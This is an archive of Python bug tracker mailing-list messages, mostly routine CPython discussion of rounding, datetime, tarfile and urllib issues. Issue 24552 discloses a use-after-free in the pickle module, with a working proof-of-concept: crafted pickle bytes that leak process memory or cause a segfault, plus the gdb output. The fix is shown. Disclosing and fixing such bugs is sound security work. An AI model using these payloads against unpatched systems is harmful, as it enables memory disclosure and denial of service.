http://bugs.python.org/issue24492
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24483] Avoid repeated hash calculation in C implementation of functools.lru_cache()

2015-07-02 Thread Larry Hastings

Larry Hastings added the comment:

This can go in for 3.5 beta 3.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24483
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24325] Speedup types.coroutine()

2015-07-02 Thread Larry Hastings

Larry Hastings added the comment:

Help me to understand here.  You want to check in a patch adding 300 new lines 
of C code to the types module during beta, for a speed optimization, after 
we've already hit beta?

While I like speedups as much as the next guy, I would be happier if this 
waited for 3.6.

Of course, if Guido is overruling me, then Guido is overruling me and you get 
to check it in.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24325
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24546] sequence index bug in random.choice

2015-07-02 Thread Tim Peters

Tim Peters added the comment:

I'm guessing this is a double rounding problem due to gcc not restricting an 
Intel FPU to using 53 bits of precison:

 In binary, (2**53-1)/2**53 * 2049 is:

 0.1
 times
 1001.0

 which is exactly:

 1000.1 0111

The internal Intel extended precision format has 64 bits in the mantissa.  
The last line there has 65 bits in all (53 to the left of the blank, and 12 to 
the right).  Rounding _that_ to fit in 64 bits throws away the rightmost 1 
bit, which is exactly half, and so nearest/even rounding bumps what's left up 
by 1, leaving the 64-bit:

1000.1 100

in the extended-precision register.  Rounding that _again_ to fit in 53 bits 
then yields the observed

1001.0

result.  No int i with 0  i  2049 produces the same kind of double-rounding 
surprise.

And with that I have to bow out - people have spent many years arguing with gcc 
developers about their floating-point decisions, and they rarely budge.  Why 
does -m32 have something to do with it?  Just because and tough luck are 
typically the only responses you'll get ;-)

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24546
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23517] datetime.utcfromtimestamp parses timestamps incorrectly

2015-07-02 Thread Alexander Belopolsky

Alexander Belopolsky added the comment:

Victor I don't know yet if it should be fixed or not.

It is my understanding that datetime - timestamp - datetime round-tripping 
was exact in 3.3 for datetimes not too far in the future (as of 2015), but now 
it breaks for datetime(2015, 2, 24, 22, 34, 28, 274000).
This is clearly a regression and should be fixed.

 UNIX doesn't like timestamps in the future

I don't think this is a serious consideration.  The problematic scenario would 
be obtaining high-resolution timestamp (from say time.time()), converting it to 
datetime and passing it back to OS as a possibly 0.5µs
higher value.  Given that timestamp - datetime - timestamp roundtrip by
itself takes over 1µs, it is very unlikely that by the time rounded value hits 
the OS it is still in the future.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue23517
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24450] Add cr_await calculated property to coroutine object

2015-07-02 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 34460219c0e0 by Yury Selivanov in branch '3.4':
Issue #24450: Proxy gi_yieldfrom  cr_await in asyncio.CoroWrapper
https://hg.python.org/cpython/rev/34460219c0e0

New changeset 3555f7b5eac6 by Yury Selivanov in branch '3.5':
Merge 3.4 (Issue #24450)
https://hg.python.org/cpython/rev/3555f7b5eac6

New changeset 5e9f794fd776 by Yury Selivanov in branch 'default':
Merge 3.5 (Issue #24450)
https://hg.python.org/cpython/rev/5e9f794fd776

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24450
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23974] random.randrange() biased output

2015-07-02 Thread Raymond Hettinger

Raymond Hettinger added the comment:

I choose option 3, close as won't fix.   The ship for 2.7 sailed a long time 
ago.  The code for randrange() was designed by Tim Peters and has been in-place 
for a decade and half without causing suffering in the world.  Also, changing 
the type to behavior from security -- that latter classification is quite a 
stretch.

--
resolution:  - wont fix
status: open - closed
type: security - behavior

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue23974
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24546] sequence index bug in random.choice

2015-07-02 Thread Tim Peters

Tim Peters added the comment:

Should also note that double rounding cannot account for the _original_ symptom 
here.  Double rounding surprises on Intel chips require an exact product at 
least 65 bits wide, but the OP's sequence is far too short to create such a 
product.  (Steven's 2049 just barely requires 12 bits, which when multiplied by 
a 53-bit value can require 12+53 = 65 bits to hold the full product.)

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24546
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24432] Upgrade windows builds to use OpenSSL 1.0.2b

2015-07-02 Thread Steve Dower

Steve Dower added the comment:

I'll give it a shot tomorrow. Haven't done it before (not even sure I have the 
svn.p.o permissions). Do I still need Perl for this?

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24432
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue19235] Add a dedicated subclass for recursion errors

2015-07-02 Thread Yury Selivanov

Yury Selivanov added the comment:

Thanks Larry and Georg!

--
resolution:  - fixed
stage: patch review - resolved
status: open - closed
versions: +Python 3.5

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue19235
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24450] Add cr_await calculated property to coroutine object

2015-07-02 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 9bae275e99b3 by Yury Selivanov in branch '3.5':
Issue #24450: Proxy cr_await and gi_yieldfrom in @types.coroutine
https://hg.python.org/cpython/rev/9bae275e99b3

New changeset 4d3bd9b82a62 by Yury Selivanov in branch 'default':
Merge 3.5 (Issue #24450)
https://hg.python.org/cpython/rev/4d3bd9b82a62

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24450
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue18543] urllib.parse.urlopen shouldn't ignore installed opener when called with any ca* argument

2015-07-02 Thread David Ford (FirefighterBlu3)

David Ford (FirefighterBlu3) added the comment:

Test cases for SSL _opener, contexts and HTTPSHandlers in this file

--
Added file: http://bugs.python.org/file39849/ssl_context_tests.py

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue18543
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue19235] Add a dedicated subclass for recursion errors

2015-07-02 Thread Roundup Robot

Roundup Robot added the comment:

New changeset a795cf73ce6f by Yury Selivanov in branch '3.5':
Issue #19235: Add new RecursionError exception. Patch by Georg Brandl.
https://hg.python.org/cpython/rev/a795cf73ce6f

New changeset 749d74e5dfa7 by Yury Selivanov in branch 'default':
Merge 3.5 (Issue #19235)
https://hg.python.org/cpython/rev/749d74e5dfa7

--
nosy: +python-dev

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue19235
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24546] sequence index bug in random.choice

2015-07-02 Thread Tim Peters

Tim Peters added the comment:

Steven, there's something wrong with the arithmetic on your machine, but I 
can't guess what from here (perhaps you have a non-standard rounding mode 
enabled, perhaps your CPU is broken, ...).

In binary, (2**53-1)/2**53 * 2049 is:

0.1
times
1001.0

which is exactly:

1000.1 0111

I inserted a blank after the 53rd bit.  Because the tail (0111) is 
less than half, under any rounding mode _except_ to +inf that should be 
rounded to the 53-bit result:

1000.1

That's strictly less than 2049, so int() of that should deliver 2048.

For a start, is it the multiplication that's broken on your machine, or the 
int() part?

These are the expected hex values (same as the binary values shown above, but 
easier to get Python to show - and these should be identical across all 
754-conforming boxes using the default rounding mode):

 x = 1.-2.**-53
 y = 2049.0
 x.hex()
'0x1.fp-1'
 y.hex()
'0x1.00200p+11'
 (x*y).hex()
'0x1.001ffp+11'

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24546
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24514] tarfile fails to extract archive (handled fine by gnu tar and bsdtar)

2015-07-02 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 301d7efac3de by Lars Gustäbel in branch '2.7':
Issue #24514: tarfile now tolerates number fields consisting of only whitespace.
https://hg.python.org/cpython/rev/301d7efac3de

New changeset 140b4b7b84bd by Lars Gustäbel in branch '3.4':
Issue #24514: tarfile now tolerates number fields consisting of only whitespace.
https://hg.python.org/cpython/rev/140b4b7b84bd

New changeset 1692065524cc by Lars Gustäbel in branch '3.5':
Merge with 3.4: Issue #24514: tarfile now tolerates number fields consisting of 
only whitespace.
https://hg.python.org/cpython/rev/1692065524cc

New changeset 08fad9037206 by Lars Gustäbel in branch 'default':
Merge with 3.5: Issue #24514: tarfile now tolerates number fields consisting of 
only whitespace.
https://hg.python.org/cpython/rev/08fad9037206

--
nosy: +python-dev

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24514
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24514] tarfile fails to extract archive (handled fine by gnu tar and bsdtar)

2015-07-02 Thread Lars Gustäbel

Changes by Lars Gustäbel l...@gustaebel.de:


--
resolution:  - fixed
stage: patch review - resolved
status: open - closed

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24514
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23974] random.randrange() biased output

2015-07-02 Thread Christopher Gurnee

Christopher Gurnee added the comment:

There's been no activity on this issue in a few months The three options as 
I see it are:

 1. Fix it for both randrange and SystemRandom.randrange, breaking randrange's 
implied stability between minor versions.
 2. Fix it only for SystemRandom.randrange.
 3. Close it as wont fix (for performance reasons I'd assume?).

Since I'm in favor of option 2, I've attached a simple patch which implements 
it. Here are some quick-and-dirty performance numbers showing the decrease in 
performance (3 tests of the original code followed by 3 of the patched code):

$ python -m timeit -r 10 -s 'import random; s = random.SystemRandom(); r = 
2**8' 's.randrange(r)'
1 loops, best of 10: 22.5 usec per loop
$ python -m timeit -r 10 -s 'import random; s = random.SystemRandom(); r = 
2**31' 's.randrange(r)'
1 loops, best of 10: 22.6 usec per loop
$ python -m timeit -r 10 -s 'import random; s = random.SystemRandom(); r = 
2**53 * 2//3' 's.randrange(r)'
1 loops, best of 10: 22.4 usec per loop

$ python -m timeit -r 10 -s 'import random; s = random.SystemRandom(); r = 
2**8' 's.randrange(r)'
1 loops, best of 10: 23.7 usec per loop
$ python -m timeit -r 10 -s 'import random; s = random.SystemRandom(); r = 
2**31' 's.randrange(r)'
1 loops, best of 10: 46.2 usec per loop
$ python -m timeit -r 10 -s 'import random; s = random.SystemRandom(); r = 
2**53 * 2//3' 's.randrange(r)'
1 loops, best of 10: 34.8 usec per loop

The patch also includes a unit test (with a false negative rate of 1 in 8.5 * 
10^-8: 
http://www.wolframalpha.com/input/?i=probability+of+417+or+fewer+successes+in+1000+trials+with+p%3D0.5).

Any opinions on which of the three options should be taken?

--
keywords: +patch
Added file: http://bugs.python.org/file39845/issue23974.patch

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue23974
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24120] pathlib.(r)glob stops on PermissionDenied exception

2015-07-02 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

May be slightly refactor the code?

def _select_from(self, parent_path, is_dir, exists, listdir):
try:
if not is_dir(parent_path):
return
yield from self._select_from2(parent_path, is_dir, exists, listdir)
except PermissionError:
return

def _select_from2(self, parent_path, is_dir, exists, listdir):
... # implementation

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24120
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24551] byte conversion

2015-07-02 Thread Padmanabhan Tr

New submission from Padmanabhan Tr:

I have copied below an execution sequence. What is the problem?

 x = 8240
 x.to_bytes(4,byteorder='big')
b'\x00\x00 0'
 int.from_bytes(b'\x00\x00 0',byteorder='big')
8240
 int.from_bytes(b'\x20\x30',byteorder='big')
8240


--
components: +Demos and Tools

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24551
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24551] byte conversion

2015-07-02 Thread Steven D'Aprano

Steven D'Aprano added the comment:

I don't know, what *is* the problem? What behaviour did you expect? The code 
sample you show seems to be working exactly as it is supposed to.

b'\x00\x00 0' is the same as b'\x00\x00\x20\x30', and that is the same as 
b'\x20\x30' with NUL padding on the left. Written as integers, that is like 
0x2030 == 0x2030 == 8240.

I don't think this demonstrates a bug or problem. If you still believe it does, 
please re-open the issue with a detailed description of what behaviour you 
expected and why you think this is a bug.

--
nosy: +steven.daprano
resolution:  - not a bug
status: open - closed

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24551
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24551] byte conversion

2015-07-02 Thread Padmanabhan Tr

Changes by Padmanabhan Tr trp...@yahoo.com:


--
nosy: Padmanabhan.Tr
priority: normal
severity: normal
status: open
title: byte conversion
type: behavior
versions: Python 3.4

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24551
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24534] disable executing code in .pth files

2015-07-02 Thread Eric Snow

Eric Snow added the comment:

FYI, support for .pth has been around since at least Python 2.0.  However, 
support for imports in .pth files was added in 2.1:

changeset:   15815:868d2acf745808c9033f57cd5829d97a69ecf56e
branch:  legacy-trunk
user:Martin v. Löwis mar...@v.loewis.de
date:Thu Jan 11 13:02:43 2001 +
summary: Patch #103134: Support import lines in pth files.

From what I understand .pth file weren't meant to be used in the way they are. 
 Some folks are just really good at exploiting unintended behaviors based on 
an implementation. :)  We've been stuck with the feature ever since.

In this case the implementation happened to be a bit lax in how it evaluated 
each line.  It should have been strict about allowing only single import 
statements.  Instead it just made sure the line started with import and then 
exec'ed it.  A check for ; would have been sufficient.

That said, I don't fault Martin (or whoever actually wrote it) at all. The 
implementation doesn't really bother me.  Sure, it could have been more 
careful, but honestly how could anyone be expected to anticipate the 
consequence here.

Ultimately, folks that looked closely enough at the source to figure out the 
hack would have had enough context to know the intent.  They should have opened 
a bug report rather that take advantage of the loophole.  If their need was 
sufficient they could have easily proposed an explicit mechanism to get what 
they wanted.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24534
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed

2015-07-02 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 2be983173f45 by Stefan Krah in branch '3.5':
Issue #24543: Use AC_LINK instead of AC_COMPILE in order to prevent false
https://hg.python.org/cpython/rev/2be983173f45

New changeset 8f30776602b4 by Stefan Krah in branch 'default':
Merge from 3.5 (#24543).
https://hg.python.org/cpython/rev/8f30776602b4

--
nosy: +python-dev

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24543
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed

2015-07-02 Thread Stefan Krah

Stefan Krah added the comment:

I guess we should backport the x87 fix to 2.7.

--
versions: +Python 2.7 -Python 3.5

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24543
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24546] sequence index bug in random.choice

2015-07-02 Thread R. David Murray

R. David Murray added the comment:

perhaps you have a non-standard rounding mode enabled

I think Mark added code to python3 at least to handle non-standard rounding 
modes being set, but I'm not sure.

--
nosy: +r.david.murray

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24546
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue18543] urllib.parse.urlopen shouldn't ignore installed opener when called with any ca* argument

2015-07-02 Thread David Ford (FirefighterBlu3)

David Ford (FirefighterBlu3) added the comment:

the attached diff (for py3) fixes the (badly) broken urlopen :}

previously, if SSL args were detected, all installed handlers via _opener got 
wiped out. now, we check if _opener already exists and if so we just make sure 
the HTTPSHandler is added thus preserving installed handlers.

--
keywords: +patch
nosy: +David Ford (FirefighterBlu3)
Added file: 
http://bugs.python.org/file39846/urllib.request.py-do-not-overwrite-existing-opener.diff

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue18543
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24552] use after free in load_newobj_ex

2015-07-02 Thread Benjamin Peterson

New submission from Benjamin Peterson:

From Kurucsai Istvan on the security list:

I. Summary

There is a use-after-free in the load_newobj_ex function in _pickle.c that 
results in an arbitrary read.


II. Source code

The functions in question:
static int
load_newobj_ex(UnpicklerObject *self)
{
PyObject *cls, *args, *kwargs;
PyObject *obj;
PickleState *st = _Pickle_GetGlobalState();

PDATA_POP(self-stack, kwargs);
if (kwargs == NULL) {
return -1;
}
PDATA_POP(self-stack, args);
if (args == NULL) {
Py_DECREF(kwargs);
return -1;
}
PDATA_POP(self-stack, cls);
if (cls == NULL) {
Py_DECREF(kwargs);
Py_DECREF(args);
return -1;
}

1.  if (!PyType_Check(cls)) {
Py_DECREF(kwargs);
Py_DECREF(args);
2.  Py_DECREF(cls);
PyErr_Format(st-UnpicklingError,
 NEWOBJ_EX class argument must be a type, not %.200s,
3.   Py_TYPE(cls)-tp_name);
return -1;
}

1. if cls is not a type object.
2. cls and its type object are freed.
3. Py_TYPE(cls)-tp_name is controlled after the free due to Python memory 
management internals, allowing arbitrary memory addresses to be leaked in the 
exception text.


III. Proof of concept

The following PoC demonstrates the bug by leaking the beginning of the ELF 
header of the python binary by using the following pickle:
0: FFLOAT  -17.0
5: GBINFLOAT   4.850517136297445e-270
   14: \x8a LONG1  
-19433009197182618361932444855909718650799116435779157138706600511804357054621081254113158779140316034172772336611031765078550355689018943570873089549265771354179136777133140299700701757440
   94: \x92 NEWOBJ_EX
   95: .STOP
highest protocol among opcodes = 4

root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# cat 
/opt/newobj_ex.py 
import pickle
b = b\x46\x2D\x31\x37\x0A\x47
# read address, beginning of the ELF header of the python binary
b += b\x08\x04\x80\x00
b +=  
b\xE0\xFC\xBD\x8D\x8A\x4E\x00\x00\x00\x77\x55\x73\x41\xDE\x8D\xEA\x43\xDD\xB9\xDE\x10\xAE\x84\xAE\x15\x69\x3C\x9A\x34\x9C\x1B\x06\xE9\x68\x84\x5E\x3E\x74\x55\x55\x01\x5F\x65\x2E\x93\x83\x2D\x14\x36\x40\xA9\xEA\xAD\xFE\x77\x2D\x0F\x37\x8F\xE2\xFB\x18\xD6\x89\xDC\x75\x53\xB3\x15\xF1\x56\x17\x2F\x21\x78\x02\x7A\xBB\x95\x7B\x82\x40\x8A\xB8\x92.
pickle.loads(b)
root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# file python
python: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically 
linked (uses shared libs), for GNU/Linux 2.6.24, 
BuildID[sha1]=e1a1b72a0e3093b61de9de9bb58b3ca031aeb9b6, not stripped
root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# ./python
Python 3.6.0a0 (default, Jun 29 2015, 22:03:19) 
[GCC 4.8.2] on linux
Type help, copyright, credits or license for more information.
 
root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# ./python 
/opt/newobj_ex.py 
Traceback (most recent call last):
  File /opt/newobj_ex.py, line 4, in module
pickle.loads(b)
_pickle.UnpicklingError: NEWOBJ_EX class argument must be a type, not ELF
root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# 


By changing the read address, a segfault can be triggered:

root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# cat 
/opt/newobj_ex_crash.py 
import pickle
b = b\x46\x2D\x31\x37\x0A\x47
# read address
b += b\x41\x41\x41\x41
b 
+=b\xE0\xFC\xBD\x8D\x8A\x4E\x00\x00\x00\x77\x55\x73\x41\xDE\x8D\xEA\x43\xDD\xB9\xDE\x10\xAE\x84\xAE\x15\x69\x3C\x9A\x34\x9C\x1B\x06\xE9\x68\x84\x5E\x3E\x74\x55\x55\x01\x5F\x65\x2E\x93\x83\x2D\x14\x36\x40\xA9\xEA\xAD\xFE\x77\x2D\x0F\x37\x8F\xE2\xFB\x18\xD6\x89\xDC\x75\x53\xB3\x15\xF1\x56\x17\x2F\x21\x78\x02\x7A\xBB\x95\x7B\x82\x40\x8A\xB8\x92.
pickle.loads(b)
root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# gdb --silent 
./python
Reading symbols from ./python...done.
(gdb) r /opt/newobj_ex_crash.py 
Starting program: /opt/cpython/cpython-d792dc240456-150629/python 
/opt/newobj_ex_crash.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library /lib/i386-linux-gnu/libthread_db.so.1.

Program received signal SIGSEGV, Segmentation fault.
0x081431dd in unicode_fromformat_write_cstr (writer=writer@entry=0xd11c, 
str=0x41414141 error: Cannot access memory at address 0x41414141, 
width=width@entry=-1, precision=precision@entry=200) at 
Objects/unicodeobject.c:2368
2368length = strlen(str);
(gdb) bt
#0  0x081431dd in unicode_fromformat_write_cstr 
(writer=writer@entry=0xd11c, str=0x41414141 error: Cannot access memory at 
address 0x41414141, width=width@entry=-1, precision=precision@entry=200) at 
Objects/unicodeobject.c:2368
#1  0x08143a2a in unicode_fromformat_arg (writer=writer@entry=0xd11c, 
f=0xf7b9f632 s, f@entry=0xf7b9f62d %.200s, vargs=vargs@entry=0xd118) at 
Objects/unicodeobject.c:2583
#2  0x08144018 in PyUnicode_FromFormatV (format=optimized out, 

[issue24552] use after free in load_newobj_ex

2015-07-02 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 24ce32d76376 by Benjamin Peterson in branch '3.4':
fix use after free (closes #24552)
https://hg.python.org/cpython/rev/24ce32d76376

New changeset 24197b5f7126 by Benjamin Peterson in branch '3.5':
merge 3.4 (#24552)
https://hg.python.org/cpython/rev/24197b5f7126

New changeset 32486bb59e7e by Benjamin Peterson in branch 'default':
merge 3.5 (#24552)
https://hg.python.org/cpython/rev/32486bb59e7e

--
nosy: +python-dev
resolution:  - fixed
stage:  - resolved
status: open - closed

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24552
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24552] use after free in load_newobj_ex

2015-07-02 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 978bc1ff43a7 by Benjamin Peterson in branch '3.4':
use correct __new__ method (closes #24552)
https://hg.python.org/cpython/rev/978bc1ff43a7

--
resolution:  - fixed
status: open - closed

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24552
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23517] datetime.utcfromtimestamp parses timestamps incorrectly

2015-07-02 Thread Larry Hastings

Larry Hastings added the comment:

Yes, by all means, fix for 3.4, 3.5, and 3.6.  If possible I'd appreciate you 
getting the fix checked in to 3.5 within the next 48 hours, as I'm tagging the 
next beta release of 3.5 around then, and it'd be nice if this fix went out in 
that release.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue23517
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24552] use after free in load_newobj_ex

2015-07-02 Thread STINNER Victor

STINNER Victor added the comment:

Buildbots are not happy. Example:

http://buildbot.python.org/all/builders/AMD64%20FreeBSD%2010.0%203.5/builds/57/steps/test/logs/stdio


==
ERROR: test_newobj_not_class (test.test_pickletools.OptimizedPickleTests)
--
Traceback (most recent call last):
  File 
/usr/home/buildbot/python/3.5.koobs-freebsd10/build/Lib/test/pickletester.py, 
line 1046, in test_newobj_not_class
o = object.__new__(SimpleNewObj)
TypeError: object.__new__(SimpleNewObj) is not safe, use SimpleNewObj.__new__()

--

--
nosy: +haypo
resolution: fixed - 
status: closed - open

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24552
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24097] Use after free in PyObject_GetState

2015-07-02 Thread Benjamin Peterson

Benjamin Peterson added the comment:

lgtm

--
nosy: +benjamin.peterson

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24097
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue22516] Windows Installer won't - even when using just for meoption

2015-07-02 Thread Mark Mikofski

Mark Mikofski added the comment:

I've set up AppVeyor CI (http://www.appveyor.com/) to build the latest tag in 
the 2.7 branch of cpython at https://hg.python.org/ and to deploy zip files of 
x86 and x64 standalone builds to 
http://breakingbytes.alwaysdata.net/PythonBootstrap/. The builds use a patched 
version of Tools/buildbot/external[-amd64].bat and PCbuild/batch.bat[ -p x64] 
with Windows 7 SDK (VS2008) and pass all rt.bat -q[ -x64] tests. The zipped 
file structure matches the standard release structure except that I didn't copy 
any of the Tools folders (pynche, i18n, ...) or Demos, and I put html files in 
the Doc folder instead of python27.chm. To make it standalone I put the MSVCR90 
redistributables in the top level side by side (privately) with python27.dll, 
which is acceptable according to the VS2008 license 
(http://download.microsoft.com/documents/useterms/Visual%20Studio_2008%20Professional%20Edition_English_473a7e16-65dc-4cfb-8f44-ebdd93cb1d3d.pdf)
 as long as the distro has any LICENSE. It is also one of the
  3 recommended practices for deploying Visual C++ applications 
(https://msdn.microsoft.com/en-us/library/zebw5zk9(v=vs.90).aspx) especially 
Redistributiong Visual C++ Files 
(https://msdn.microsoft.com/en-us/library/ms235299(v=vs.90).aspx). The current 
Python uses the merge modules 
(https://msdn.microsoft.com/en-us/library/ms235290(v=vs.90).aspx) which 
requires admin rights.

  Installation of the WinSxS folder requires administrative user rights. If an 
installation is run by a user who does not have administrative rights, the 
Visual C++ assemblies cannot be installed, and applications that depend on 
those DLLs cannot run. The alternative redistribution approach is to install 
private side-by-side assemblies of a particular user application. For more 
information on deploying Visual C++ files as private assemblies see 
Redistributing Visual C++ Files.

In addition to some glue script, I added an altered version of idle.bat for 
Scripts that points to pythonw.exe and Lib\idlelib\idle.pyw from the Scripts 
folder instead of from the Lib\idlelib folder. This lets users start idle if 
Scripts is on their path.

The glue for the appveyor build and the webpage are both maintained on 
bitbucket.
* https://bitbucket.org/breakingbytes/cpython/branch/PythonBootstrap
* https://bitbucket.org/breakingbytes/breakingbytes.bitbucket.org

I expect this release to have several major uses:
* It can be used to install python-2.7 without admin rights on windows
* It can be used to embed python-2.7 into standalone applications that depend 
on python since it has a fairly small footprint, 15MB compressed.
* To use 32-bit and 64-bit versions of Python on the same machine, which is 
technically not impossible now, and would still require some managment

Some future goals:
* create a self extracting executable that performs some minor niceties such as 
...
 - adding Python and scripts to the path
 - fixing any hardcoded paths in bundled executbles
 - associated .py with python.exe
 - running python -m ensurepip
 - getting some convenient packages for scidata like pandas, numpy, xlrd, etc.

--
versions: +Python 2.7 -Python 3.5

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue22516
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue22516] Windows Installer won't - even when using just for meoption

2015-07-02 Thread Larry Hastings

Changes by Larry Hastings la...@hastings.org:


--
nosy:  -larry

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue22516
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com